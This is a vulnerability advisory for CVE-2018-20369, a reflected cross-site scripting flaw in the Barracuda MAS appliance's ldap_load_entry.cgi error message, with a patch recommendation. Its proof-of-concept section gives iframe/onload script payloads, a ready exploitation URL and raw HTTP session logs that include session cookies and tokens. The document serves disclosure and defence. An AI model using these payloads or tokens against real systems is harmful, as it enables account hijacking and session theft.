Barracuda MAS - (ldap_load_entry.cgi) XSS Vulnerability

Document Title:
===============
Barracuda MAS - (ldap_load_entry.cgi) XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2168

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20369

CVE-ID:
=======
CVE-2018-20369


Release Date:
=============
2018-11-12


Vulnerability Laboratory ID (VL-ID):
====================================
2168


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross site vulnerability in the Barracuda Networks MAS appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-11-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: CC MAS - Appliance (Web-Application) 2018 MA


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Barracuda Networks MAS 2018 appliance web-application.
The non-persistent vulnerability allows remote attackers inject own malicious script code to client-side web-application requests.

The client-side cross site web vulnerability is located in the `error_msg` exception-handling value of the `ldap_load_entry.cgi` module. 
Remote attackers are able to prepare malicious client-side application request to compromise appliance application accounts. The injection 
point of the issue is the vulnerable `Add_Update` module and the execution occurs in the wrong encoded exception-handling output on 
inseration of invalid contents. The attack vector of the issue is located on the client-side of the service and the request method to 
execute the injected code is POST (Referer). 

Exploitation of the client-side remote vulnerability requires low or medium user interaction and a low privileged application user account. 
Successful exploitation leads to customer account theft through hijacking, client-side phishing, client-side external redirects, and 
client-side manipulation of the web context of the affected and connected device module.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] LDAP User - Add_Update

Vulnerable File(s):
[+] ldap_load_entry.cgi

Vulnerable Parameter(s):
[+] error_msg (Exception-Handling)


Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Payload: Test
payload>"<iframe src=evil.source onload=alert(document.cookie)></iframe>
payload>"<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Exploitation
https://mas.localhost:6211/cgi-mod/ldap_load_entry.cgi?user=guest&password=XXX&et=XXX&ldap_user=payload>"<iframe+src%3Devil.source+onload%3Dalert(document.cookie)><%2F


Vulnerable Source: 
<div class="error_msg">Error: Not found in LDAP: a a&gt;"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></div>


--- PoC Session Logs [POST] ---
https://mas.localhost:6211/cgi-mod/ldap_load_entry.cgi?user=guest&password=17442aaaa4c4a04745367906239b65ee&et=1531921667
&ldap_user=payload>"<iframe+src%3Devil.source+onload%3Dalert(document.cookie)><%2Fiframe>
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921653&locale=en_US&password=5b4b5bf3127147ea754d611a0f8d6451&
primary_tab=USERS&realm=
&secondary_tab=ldap_user_add&user=guest&tab_id=ldap_user_add
X-Requested-With: XMLHttpRequest
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; 
mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; 
ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; 
ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Server: nginx/1.2.5
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
Cache-Control: no-cache, no-store, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
https://mas.localhost:6211/cgi-mod/evil.source
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921555&locale=en_US&
password=71760ba6891caac5f088d3c5a2c75297&primary_tab=USERS&realm=
&secondary_tab=client_configuration&user=guest
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; 
mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; 
ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; 
ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 502 Bad Gateway
Server: nginx/1.2.5
Content-Type: text/html
Content-Length: 1949
Connection: keep-alive
Keep-Alive: timeout=20
https://mas.localhost:6211/cui/reset.css
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/css,*/*;q=0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/evil.source
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; 
mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; 
ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; 
ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Server: nginx/1.2.5
Content-Type: text/css
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Cache-Control: max-age=315360000, public
https://mas.localhost:6211/cui/main.css
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/css,*/*;q=0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/evil.source
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; 
mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; 
ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; 
ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Server: nginx/1.2.5
Content-Type: text/css
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Cache-Control: max-age=315360000, public
https://mas.localhost:6211/cui/mobile.css
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/css,*/*;q=0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/evil.source
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; 
mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; 
ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; 
ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Server: nginx/1.2.5
Content-Type: text/css
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Cache-Control: max-age=315360000, public
https://mas.localhost:6211/cgi-mod/header_logo.cgi?size=big
Host: mas.localhost:6211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://mas.localhost:6211/cgi-mod/evil.source
Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; 
CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; 
ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Server: nginx/1.2.5
Content-Type: image/png; charset=ISO-8859-1
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
Cache-control: no-cache, no-store
X-Frame-Options: SAMEORIGIN


Reference(s):
https://mas.localhost:6211/
https://mas.localhost:6211/cgi-mod/
https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921653&locale=en_US&password=5b4b5bf31271&
primary_tab=USERS&realm=&secondary_tab=ldap_user_add&user=guest&tab_id=ldap_user_add


Solution - Fix & Patch:
=======================
The cross site scripting web vulnerability can be patched by an escape of the output in the error message.
The input of the ldap name value can be restricted or filtered to prevent script code injection attacks.

Note: The issue is marked as resolved by the barracuda networks developer team within 2018 Q1 - Q4.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the barracuda networks mas web-application is estimated as medium.


Credits & Authors:
==================
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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